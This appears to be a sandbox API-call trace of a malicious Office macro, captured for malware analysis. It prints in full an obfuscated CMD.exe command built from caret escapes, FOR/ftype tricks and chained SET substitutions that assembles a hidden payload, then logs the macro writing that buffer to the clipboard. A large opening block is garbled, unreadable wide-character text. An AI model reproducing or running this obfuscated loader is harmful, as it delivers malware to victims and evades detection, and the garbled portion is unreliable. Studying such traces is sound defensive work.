‬㬠†Ⱐ㬠㬬‬猨敞呞⁞⁞⁞⁞⁞⭞繞絞㵻敞潞㉞㡞偞䝞䍞㝞神央⹞奞敞潞㉞癞呞摞嵞䙞㍞灞扞晞㙞䭞❞⹞奞ㅞ⹞奞䁞潥㉞桞㡞偞婞㝞神常幐帳幰幔幤幥帳帷幻幪湕偞橞⭹䁞敞潞㉞╞穞睞䱞桞睞呌摞㍞幰幥帳帷幻幪湕⍞偞橞神⭞㉞塞扞㉞⥞⹞奞ㅞㅞ㉞敞幯帲帲師㘲㍞灞⹞奞䙞帳幰帲師帲幝帲師帲帮幙幱幆帳幰幢书㉞⭞㉞㡞偞㑞ⵞ偞橞㍞兞敞䅞䍞桞㡞偞婞㡞偞ⱞ帲師帲䍇㝞神㉞⭞㉞孞帲師帲帷幋帲師帲帳帷㜳ⵞ╞㉞⭞㉞恞幫帷幹常幐帮幙㜭䭞敞潞帲帲師帲潥㉞㡞偞㍭兞幥䍁㍞灞幠帲㈫煞䙞㍞灞扞书㙞浞㡞偞⹞奞䅞䍞㙞㝞橞桞幠幥幯帲幇幃帷幹常幐幭帧幪幕幝帶帲師帲帴帲師帲湚⹞䅞幃帶帷幛帲師帲幆帳幰晢扞晞歞礷畞畞兞敞㍞㝞敞潞㉞㉞師帲帶幋幆帳幰幝央橞桞幠幥幯帲幇幃帷幹常幐帲師帲幭帧帲師帲幪幕幝帶帴湚㉞⭞帲帮帧幵帲師帲幚幇幃帷幹幭帶幫帷幹帱䘱㍞灞嵞⹞奞煞䙞㍞灞扞晞幎常幐幇幃帷❹幡帲師帲常幐帳救幁幃帷幹幪㙕㉞⭞帲瀳婞常湐䝞䍞帷幹帩帧帲師倲幪幫帷幹常湐剞㡞偞㙞㍞㝞ㅞ䅞䍞帶帲師帲帷帲師帲帥幺幷桌幇幃礷䝞䍞帷幹幫帷幹幥幯帲常帠帬帮⸬婞浞㙞帮⬲㉞㡞偞敞潞㉞㑞硡❞婞幭帮帳幑幥䍁塞帲師帲帷帧帬幘帲㈫浞ⱞ⹞䅞䍞⁞ⱞ⹞䙞帳幰幪湕ⱞ⹞㉞⭞㉞⹞㙞䝞䍞㝞神帴幡幸幵幑幥帷幹幥㉯䭞幟幘帧帲師帲幫帷湹⹞䅞䍞㙞㝞㉞⭞帲帩帩幛帲師帲㍆灞扞晞扞晞歞㝞神畞畞兞敞㉞⭞㉞幭幑幥帶䙋㍞灞嵞⹞奞畞恞帲師帲幇幃礷㉞師帲常幐幻橐幹帮幙帲師帲帴幡橸啞幮幈帠ㅛ⁞❞㉞⭞㉞❞䡞⥞㍞兞敞䅞䍞㉞⭞㉞橞桞㉞⭞㉞桞㡞偞潚属䙞㍞灞塞嵞㡞偞㙞ⱞ╞穞睞䱞幨帱帲師帲幆帳幰幢幦帲師帲幢幦帲師欲㝞神畞幵幑幥帷央婞幮帱帠帧帧幈帲師帲帴幡幸帨帲師帲帩尩䙞㍞扰晞扞晞歞㝞神幵幵幑幥帲師䜲䍞㝞神㉞⭞㉞䝞䍞㝞神㙞䭞䙞㍞灞扞晞幢幦幫帷幹幵幵幑幥帳攷潞㉞❞㙞睞幌常幐帲師帲幇幃帷幹幇幃帷祹婞㝞㡞偞㍞幰帱幆瀳幢扦晞歞㝞神畞畞兞敞㝞㙞硞摞㉞⭞㉞䙞㍞灞扞晞㉞⭞㉞扞晞歞㝞神畞幵幑彥㉞⭞㉞⥞幛幆帳幰晢扞晞歞㝞神畞畞兞敞浞兞幥帲師帲䙻㍞灞扞晞扞晞歞㝞神幵幵幑幥⬲㉞彞㩞䡞㑞慞硞楞神師幆帳幰晢扞晞歞㝞神畞畞兞幥倷橞幹䬶ㅞ筞浞㙞䝞䍞礷╞穞睞䱞桞偞橞神㡞⁞㡞⁞幺幷幌幨帲師帲帳幰幘帲師帲幘幝帱帱幆瀳幢幦幢幦帲師帲幫帷幹幵兵敞䝞䍞㝞神䝞䍞㝞神❞畞ⵞ㍞兞敞䅞䍞㙞幮帳帷幪湕㕞⥞㩞橞啞扮晞⥞席帳救䅞幃幘幝帲㈫ㅞ䙞㍞灞扞晞扞晞歞㝞神畞畞幑幥幇幃帷㉹⭞帲幇幃帷幹帧帶幷幌帮幙席帳幑幥幁幃渶㍞帷央橞啞幮帵帩帩幽帲師帲孽㉞⭞帲幥帲師帲幷幌托ㅞ㉞⭞㉞筞橞幨幠幥㉯幇㝃神㉞⭞帲常幐幭帧帥常幐帷帲師䜲䍞㝞神❞睞䱞帲師渲ⱞ塞㍞㝞湚㉞⭞㉞⹞㉞⭞㉞偞祪㡞⁞㡞⁞㝞䭞幪幨帷幹幪幕帶敥❞㉞⭞㉞㙞睞䱞常幐幇幃帷幹幪幨⬲㉞䍇㝞神嵞婞幮帮帱㍆灞扞晞扞晞帲師帲幫帷幹幵幵幑幥帲師洲兞敞筞⁞❞㉞⭞㉞❞㉞師帲幪湕㉞⭞㉞䅞䍞⁞⡞帲師帲幐幪幹㈩⭞㉞⥞㉞⥞❞剞㡞偞歞㝞神瀳㙞㝞神橞啞㙞幷幌帱帲幁幃帶帷帲帶幸幤幻幥幯帲帥幒湥㙞睞䱞偞橞幹幻帷幹幪幕帶帥幺幷桌㝞䭞嵞偞橞神⍞䡞⥞❞剞常歐㝞神㍞灞㙞㝞神橞啞㙞睞䱞ㅞㅞ筞㝞幹幪幕帶帥幺幷桌㝞䭞嵞偞橞神䅞䍞幩幹師幻帷幹幪幕帶帥睺䱞桞帷嵋幐幪楹神⍞師幻帷幹幪幕帶稥睞䱞桞帷幋幝幐祪橞啞幮帠幢幦帩帶幸幤幻幥幯帲別敞㙮幷幌幐幪幹幻帷幹啪㙞╞穞睞䱞桞㝞䭞嵞幐幪幹啪幮帴幡幸幈帩帧幒倸歞㝞神㍞幰帶帷幹幪幕帶䱷帱帱幻帷幹幪幕帶帥幺幷幌幨帷幋幝幐幪幹幪湕橞啞幮幩幹笫㝞幹幪㙕╞穞睞䱞桞㝞䭞嵞偞橞神㕞䡞⭞筞礷橞啞㙞╞穞睞䱞桞㝞䭞嵞偞祪楞神橞啞幮帩砶摞筞敞潞㉞╞剞敞幮帶幷幌幐幪幹幻帷幹幪㙕╞穞睞幌幨帷幋幝幐祪⍞扞幦帩帩幞带幞带帮幙幥幯㠲偞╞帮幙帮幙帶幪幕⽥幠帶幋幷幌帬帥睺䱞桞偞幪帮幙帱帮幚帮幙幆瀳扞晞㙞剞幥帷幋帳幑幥幁幃帳幰常幐常帠常幐帺幘幢幇㝃神⥞❞㝞㙹呞摞癞幷幌帧湥幆瀳扞晞偞橞兞敞睞㝌神橞啞㙞塞浞畞兞敞㙞幮啪❞敞幱幆瀳扞晞幎帷幹幐幪幑幥常幐幥幯帲帷橹啞㙞剞婞䝞䍞㝞神神╞ㅞㅞ幔幤幪幨帮幙常幐䙱㍞灞幢书㝞神㡞帠幥幯帲帳幔幤幝帷幹帩帧幆帳扰晞㙞呞幤帳倸帮幙帮幙帩帮⹙奞幞幞幞籞䝞䍞帷幹幹幐幪帴幷幌幒幥幯帲㡨偞婞帷幹幷幌帳幰幔幤帮幙帮幙渭塞煞䙞㍞灞扞晞幎幚幱幆帳幰幢书╞睞䱞嵞㙞㝞神橞啞㙞╞敞⹞奞⹞奞ⵞ煞䙞㍞灞扞晞塎㍞灞偞橞⹞幙席帴幚䙱㍞灞扞晞幎帮幙帥幺幷桌敞㍞㝞㍞㝞常湐⹞奞ⵞ㡞偞㝞㡞偞ⱞ癞╞幥幐幪幱幆帳扰晞幎幫帷幹幐呪摞敞帬帮幙帳幑幥幁幃幠䍇㝞神幹䬷橞桞橞桞⹞奞⹞奞ⵞ幮幐幪幇幃帷幹幹偝橞幺幷桌敞㍞灞㡞偞⹞幙帮幙席帷幹幪幕倶橞浞畞兞敞㝞䭞煞䙞㍞灞幢书㍞㝞⹞奞⹞奞央⹞奞⹞奞幞幞幞幞幞幞幞♞ㅞ⹞奞䁞㡞偞煞䙞㍞灞扞晞幎帷幹常帠帷幹幪㙕幘幭幥幯帲幇幃帷幹幹常幐帬幻幈帶幸幤帴幡䡸㙞硞摞㑞慞硞㕞偞橞神ⵞ呞幤幑幘湥㉞帲帩帱幀湚歞礷癞╞⹞奞⥞⹞奞⹞奞幞♞幞♞⹞奞⹞奞ⱞ浞帳帷帧常幐帷幷⹌奞⹞奞⹞奞ⱞ⹞ⱞ⹞奞潞㙞帳帷幚帯幔帮⥯Ⱐ⤠㬠㬠㬠⤠⠦†※
㬠†※※†帨幓幥⁴属ⱞ絞㵟⅞⭞繞絞筞㩞幁幃帽帹⤡†㬠㬠㬠†
☩…†
‬⠠‬⠠獞敞呞帠帠帠帠幠㴿⅞属ⱞ絞彞㩞敞潞㉞㵞獞⅞
‬‬
※※⤠☦
‬
※※匨敞呞帠帠幀幛㵾帡幠㨿敞㵞䥞⅞
‬†
‬†☩
‬†‬‬†帨幓幥⁔⁞⁞⁞䁞⭞⩞帽帡幀幛幾帺帮帽幧⤡Ⱐ†☩…
†猨䕞呞帠帠幛㵻⅞䁞⭞⩞㩞㡞偞㵞幥⤡‬⤠…
※※※帨幓幥⁔⁞筞䁞絞帽帡幛幻✺㵞帮⤡‬†‬Ⱐ†☩†⠠㬠⠠獞䕞瑞帠帠幜㵻⅞筞䁞絞㩞㉞㵞❞⅞
‬☩…⠠†Ⱐ†※Ⱐ†
‬※‬※†‬†帨平幅⁔絞嵞ⱞ⑞帽帡幜幻帺幡帽幗⤡†‬†
‬‬☩…⠠獞敞呞帠幜㵛⅞絞嵞ⱞ⑞㩞㙞㵞慞⅞☩…†

※※※猨敞瑞帠帠帠幠幝㴤⅞属孞㩞㑞坞硞㵞㉞⅞

☩…⠠Ⱐ㬠Ⱐ†㬠‬帨幓幥⁔⁞⁞恞ⵞ⑞ℽ恞嵞⑞戺㵦㙞⤡†Ⱐ†㬠†‬㬠†‬⤠…⠠†ⰠⰨⰻ※‬帨平呅帠帠嬠⑞䁞⭞帽帡幠席帤帺帷幋帽幁⤡†Ⱐ†
†‬㬠‬☩†⠠Ⱐ⠠卞敞瑞帠幀㴭⅞孞⑞䁞⭞帺帳㵰汞⅞
※※※☩⠠卞敞⁴⁞⁞⁞繞恞⩞㽞帽帡幀席帺帺帽帪⤡☦
‬‬帨平幥⁴⍞㭞帽帡幾幠帪帿帺幷幌帽幅⤡Ⱐ※‬※Ⱐ⤠…

‬Ⱐ⠠獞敞呞帠帠帪幻㵛⅞⍞㭞帺帠帽帰⤡Ⱐ⤠⤠…⠠獞敞⁴⁞䁞⍞㽞⹞帽帡帪幻幛帺幧幙帽帠⤡⠦Ⱐ⠠ⰠⰠ⠠卞䕞呞帠帠帧幽幟㴭⅞䁞⍞㽞⹞㩞㡞ぞ㵞㩞⅞
※※
☩⠦Ⱐ†⠠Ⱐ†⠠獞敞瑞†⁞⁞㭞嵞帽帡帧幽幟席帺幪㵕䑞⅞

†‬☩
※帨平幥⁔⁞⁞恞属⭞帽帡帻幝帺帬帽幣⤡㬠㬠⤠☦
‬
‬匨敞呞帠幟幀帮㴭⅞恞属⭞帺幩幹帽常⤡ⰠⰠ⤠ⰠⰠ⤠⠦卞敞瑞帠帠帠帠帤㴧⅞彞䁞⹞ⵞ㩞畞㵞䉞⤡☦⠠‬†※‬帨幓幥⁔⹞ⱞ恞彞帽帡帤帧帺并帽ⅵ
☩…†帨平幥⁴⁞❞ⱞ幠㴫⅞⹞ⱞ恞彞㩞慞硞摞㵞帬⤡☦
‬
‬帨幓瑅帠帠帠帠帬幟幽㵾⅞❞ⱞ恞⭞㩞㝞神帽幖⤡Ⱐ⤠㬠㬠⤠☦†⠠㬠㬠㬠⠠⠠平幅⁔❞筞帽帡帬幟幽幾欺噞㵞灞⅞
‬
※☩†
‬⠠㬠†㬠†⠠獞敞呞帠席幽㴣⅞❞筞帺幔幤帽幌⤡†Ⱐ†‬Ⱐ
†ⰬⰠ☩†⠠ⰠⰠ⠠Ⱐ⠠卞敞呞帠帠帤㴫⅞ⵞ絞⍞㩞呞杞㵞奞⅞
‬‬
※†※☩…⠠†‬Ⱐ⠠幓幥⁴⁞⁞彞❞⩞筞帽帡帤師帺幑㵉歞⅞
※☩†帨平幅⁔⁞⁞帻幠幽㵾⅞彞❞⩞筞㩞幇幃幖帽ⅴ☩
ⰠⰠⰠ帨幓幥⁔⁞⭞㽞⹞ⱞ帽帡帻幠幽幾帺幆幬帽幦⤡⤠⠦獞䕞呞帠帠帧]") returned 0x16d3
	[0053.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcff228, cbMultiByte=5844, lpWideCharStr=0xc246988, cchWideChar=5844 | out: lpWideCharStr="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )") returned 5844
	[0053.844] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.844] _stricmp (_Str1="kernel32", _Str2="VBE6.DLL") returned -11
	[0053.844] LoadLibraryA (lpLibFileName="kernel32") returned 0x77b20000
	[0053.844] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c0c) returned 1
	[0053.844] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.845] GetProcAddress (hModule=0x77b20000, lpProcName="GlobalUnlock") returned 0x77b6e570
	[0053.845] GlobalUnlock (hMem=0x6db0138) returned 0
	[0053.845] GetLastError () returned 0x0
	[0053.845] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.845] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1
	[0053.845] LoadLibraryA (lpLibFileName="user32") returned 0x77a20000
	[0053.845] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c0d) returned 1
	[0053.845] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.846] GetProcAddress (hModule=0x77a20000, lpProcName="OpenClipboard") returned 0x77a45a70
	[0053.846] OpenClipboard (hWndNewOwner=0x0) returned 1
	[0053.846] GetLastError () returned 0x0
	[0053.846] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.846] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1
	[0053.846] LoadLibraryA (lpLibFileName="user32") returned 0x77a20000
	[0053.846] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c0e) returned 1
	[0053.846] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.847] GetProcAddress (hModule=0x77a20000, lpProcName="EmptyClipboard") returned 0x77a3e3c0
	[0053.847] EmptyClipboard () returned 1
	[0053.847] GetLastError () returned 0x0
	[0053.847] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.847] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1
	[0053.847] LoadLibraryA (lpLibFileName="user32") returned 0x77a20000
	[0053.847] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c0f) returned 1
	[0053.847] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.848] GetProcAddress (hModule=0x77a20000, lpProcName="SetClipboardData") returned 0x77a3e43c
	[0053.848] SetClipboardData (uFormat=0x1, hMem=0x6db0138) returned 0x6db0138
	[0053.848] GetLastError () returned 0x0
	[0053.848] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.848] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1
	[0053.848] LoadLibraryA (lpLibFileName="user32") returned 0x77a20000
	[0053.848] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c10) returned 1
	[0053.848] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.849] GetProcAddress (hModule=0x77a20000, lpProcName="CloseClipboard") returned 0x77a45a50
	[0053.849] CloseClipboard () returned 1
	[0053.849] GetLastError () returned 0x0
	[0053.849] VarAdd (in: pvarLeft=0xbb1f688, pvarRight=0xbb1f670, pvarResult=0xbb1f658 | out: pvarResult=0xbb1f658) returned 0x0
	[0053.849] VarAdd (in: pvarLeft=0xbb1f658, pvarRight=0xbb1f640, pvarResult=0xbb1f628 | out: pvarResult=0xbb1f628) returned 0x0
	[0053.849] VarAdd (in: pvarLeft=0xbb1f628, pvarRight=0xbb1f610, pvarResult=0xbb1f5f8 | out: pvarResult=0xbb1f5f8) returned 0x0
	[0053.849] VarAdd (in: pvarLeft=0xbb1f5f8, pvarRight=0xbb1f5e0, pvarResult=0xbb1f5c8 | out: pvarResult=0xbb1f5c8) returned 0x0
	[0053.849] VarAdd (in: pvarLeft=0xbb1f5c8, pvarRight=0xbb1f5b0, pvarResult=0xbb1f598 | out: pvarResult=0xbb1f598) returned 0x0
	[0053.850] IMalloc:Realloc (This=0x7feffc15380, pv=0x26e8f60, cb=0x90) returned 0x26e8f60
	[0053.850] IMalloc:Free (This=0x7feffc15380, pv=0xbeee0b0) 
	[0053.850] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.850] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb821fa1, dwSize=0x8) returned 1
	[0053.850] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.850] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb821fa0, dwSize=0x8) returned 1
	[0053.851] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.851] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.851] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.851] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.851] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.851] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.851] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.851] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.851] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
